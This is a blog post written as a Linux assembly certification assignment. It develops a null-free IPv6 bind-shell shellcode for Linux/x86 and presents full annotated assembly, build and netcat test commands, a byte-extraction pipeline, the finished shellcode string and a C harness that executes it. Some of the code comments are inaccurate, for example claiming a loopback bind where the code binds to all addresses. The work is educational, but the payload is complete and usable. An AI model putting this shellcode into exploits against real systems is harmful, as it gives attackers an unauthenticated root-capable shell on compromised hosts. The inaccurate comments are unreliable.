0x1: Shell_Bind_TCP_IPV6 – Linux/x86


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification
Student ID: SLAE-1233
Assignment: 1
Github repo: https://github.com/kartikdurg


The objective of this assignment is to create a Shell_bind_TCP in Linux/x86 Assembly for which, port number should be easily configurable.

To solve this challenge I found following resources very help full:

  1. http://syscalls.kernelgrok.com/
  2. https://elixir.bootlin.com/linux/latest/source/include/uapi/linux/in.h
  3. https://www.3dbrew.org/wiki/Socket_Services
  4. http://osr600doc.xinuos.com/en/SDK_netapi/sockC.TheIPv6sockaddrstructure.html
  5. http://www.qnx.com/developers/docs/6.5.0/index.jsp?topic=%2Fcom.qnx.doc.neutrino_lib_ref%2Fi%2Finet6_proto.html

Before going further, I would like to point out few basic rules a shellcode should obey:

  • Null free!!
  • A shellcode should be as small as possible because, you may never know the size of memory inside which the shellcode will be inject.
  • Register aware – clean up the registers before using them, so that you can reuse those registers and save few bytes to achieve small size shellcode.
  • Also, no long jumps.

Here is how a Shell_bind_TCP for IPV6 looks like in C:


1

 


A quick breakdown of above shell developed in C:

  • Create socket
  • Bind socket to a local port
  • Listen for incoming connections
  • Accept incoming connection
  • Redirect STDIN,STDOUT and STDERR to newly created socket from client.
  • Spawn the shell.

Now lets create all the above socket programming module’s in assembly by making use of syscalls. To achieve this, we need to make use of three registers:

  • 0x66 is the number of socketcall() as defined in the linux headers.This number should be stored in EAX register.
  • /usr/include/linux/net.h contains the call id of socket functions. Store the call id of a socket that you want to use inside the EBX register.
    ( I will be using SYS_BIND, SYS_LISTEN and SYS_ACCEPT )
  • ECX should contain pointer to the arguments.

2


Now that we are aware of basic rules, registers and socket calls to be used for writing our shellcode, lets jump into the assembly:

global _start
section .text

_start:
;IPV6 socket creation 
;int socketcall(int call, unsigned long *args);
;sockfd = socket(int socket_family, int socket_type, int protocol);
push byte 0x66              ;socketcall()
pop eax                     ;EAX=0x2

xor ebx,ebx                 ; zero out ebx

push 0x6                    ; IPPROTO_TCP=6
push 0x1                    ; socket_type=SOCK_STREAM (0x1)
push 0xa                    ; AF_INET6
inc ebx                     ; Define SYS_socket = 1
mov ecx,esp                 ; save pointer (ESP) to socket() args (ECX)
int 0x80
xchg esi,eax                ; socfd stored in esi
xor eax,eax

 ;Bind
;int socketcall(int call, unsigned long *args);
;bind(host_sockfd, (struct sockaddr*) &host_addr, sizeof(host_addr)); 
push DWORD eax              ;x4 dword ipv6 loopback  | EAX contains 0
push DWORD eax
push DWORD eax
push DWORD eax
push eax                    ;sin6_addr = in6addr_any | in6addr_any=::
push WORD 0x5c11            ;sin6_port=4444 | 0x5c11 | Configurable |
push WORD 0x0a              ;AF_INET6
mov ecx,esp                 ;ECX holds pointer to struct sockaddr_in6
push byte 0x1c              ;sizeof(sockaddr_in6) | sockaddr_in6 = 28
push ecx                    ;pointer to host_sockfd
push esi                    ;host_sockfd
mov ecx,esp                 ;ECX points to args
inc ebx                     ;EBX = 0x2 | #define SYS_BIND 2
push byte 0x66              ;socketcall()
pop eax
int 80h

;Listen
;int socketcall(int call, unsigned long *args);
;int listen(int host_sockfd, int backlog);
push ebx                    ;EBX=2 | backlog=2
push esi                    ;poiter to host_sockfd
mov ecx,esp                 ;ECX points to args
inc ebx
inc ebx                     ;EBX = 0x4| #define SYS_LISTEN 4
push byte 0x66              ;socketcall()
pop eax
int 80h

;Accept
;int socketcall(int call, unsigned long *args);
;accept(int sockfd, NULL, NULL);
cdq                         ;EDX = 0x0 | Saves a byte
push edx                    ;Push NULL
push edx                    ;Push NULL
push esi                    ;Push host_sockfd
mov ecx,esp                 ;ECX points to args
inc ebx                     ;EBX = 0x5 | #define SYS_ACCEPT 5
push byte 0x66              ;socketcall()
pop eax
int 80h

xchg ebx,eax                ;save client_sockfd

push byte 0x2               ;push 0x2 on stack
pop ecx                     ;ECX = 2

;dup2() to redirect stdin(0), stdout(1) and stderr(2)
loop:
push byte 0x3f              ;dup2()
pop eax                     ;EAX = 0x3f
int 0x80                    ;exec sys_dup2
dec ecx                     ;decrement counter
jns loop                    ;if SF not set ==> keep jumping

;execve(/bin//sh)
xor ecx,ecx                 ;clear ECX
push ecx                    ;Push NULL
push byte 0x0b              ;execve() sys call number
pop eax                     ;EAX=0x2 | execve()
push 0x68732f2f             ;(1)/bin//sh
push 0x6e69622f             ;(2)/bin//sh
mov ebx,esp                 ;EBX pointing to "/bin//sh"
int 0x80                    ;Calling Interrupt for sys call

As you can see, we have EAX: 0x66 , EBX: 0x1, ECX:{10,1,0} that will issue a socketcall of type SYS_SOCKET. Similarly 0x2 for SYS_BIND, 0x4 for SYS_LISTEN and 0x5 for SYS_ACCEPT.

Moving further to next instruction, IPPROTO_TCP is defined by using push “0x6”, SOCK_STREAM by using push “0x1” and AF_INET6 by using push “0xa”. I have used IPPROTO_TCP because it supports both AF_INET and AF_INET6 sockets.

3

Before calling bind(), you can notice that sin6_addr is set to 0 by using push “DWORD EAX” and then setting up “::1″(localhost), port 4444 as below:

  • PUSH EAX
  • PUSH 0x5c11 (Configurable)

Compiling and connecting to shellcode:

==> nasm -f elf32 -o shell_bind_tcp_ipv6.o shell_bind_tcp_ipv6.asm
==> ld -o shell_bind_tcp_ipv6 shell_bind_tcp_ipv6.o
==> lsof | grep 2863 | grep -i listen
//Connect to 127.0.0.1:4444
==> nc -nv 127.0.0.1 4444

4


Extracting the shellcode:

objdump -d shell_bind_tcp_ipv6.o|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x6a\x66\x58\x31\xdb\x6a\x06\x6a\x01\x6a\x0a\x43\x89\xe1\xcd\x80\x96\x31\xc0\x50\x50\x50\x50\x50\x66\x68\x11\x5c\x66\x6a\x0a\x89\xe1\x6a\x1c\x51\x56\x89\xe1\x43\x6a\x66\x58\xcd\x80\x53\x56\x89\xe1\x43\x43\x6a\x66\x58\xcd\x80\x99\x52\x52\x56\x89\xe1\x43\x6a\x66\x58\xcd\x80\x93\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x31\xc9\x51\x6a\x0b\x58\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"

Shellcode in C:

#include<stdio.h>

unsigned char shellcode[] = \
"\x6a\x66\x58\x31\xdb\x6a\x06\x6a\x01\x6a\x0a\x43\x89\xe1\xcd\x80\x96\x31\xc0\x50\x50\x50\x50\x50\x66\x68\x11\x5c\x66\x6a\x0a\x89\xe1\x6a\x1c\x51\x56\x89\xe1\x43\x6a\x66\x58\xcd\x80\x53\x56\x89\xe1\x43\x43\x6a\x66\x58\xcd\x80\x99\x52\x52\x56\x89\xe1\x43\x6a\x66\x58\xcd\x80\x93\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x31\xc9\x51\x6a\x0b\x58\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";

main()
{
printf("Shellcode Length: %d\n", sizeof(shellcode) - 1);
int (*ret)() = (int(*)())shellcode;
ret();
}

Testing the final shellcode:

5


Objectives achieved:

  • Shellcode is null free.
  • Only 100 bytes in size.
  • Port can be easily configured.
    ( To configure the port, check the “Configurable” comment in assembly code.)
  • Register independent

Exploit-DB: https://www.exploit-db.com/exploits/45080

Link to C-code:
https://github.com/kartikdurg/SLAE/blob/master/Assignment_0x1/shell_bind_tcp_ipv6.c

Link to Shellcode.ASM:
https://github.com/kartikdurg/SLAE/blob/master/Assignment_0x1/shell_bind_tcp_ipv6.asm

Link to Shellcode.c:
https://github.com/kartikdurg/SLAE/blob/master/Assignment_0x1/shell_bind_tcp_ipv6_final.c

Thank you for reading 🙂

– Kartik Durg

One thought on “0x1: Shell_Bind_TCP_IPV6 – Linux/x86

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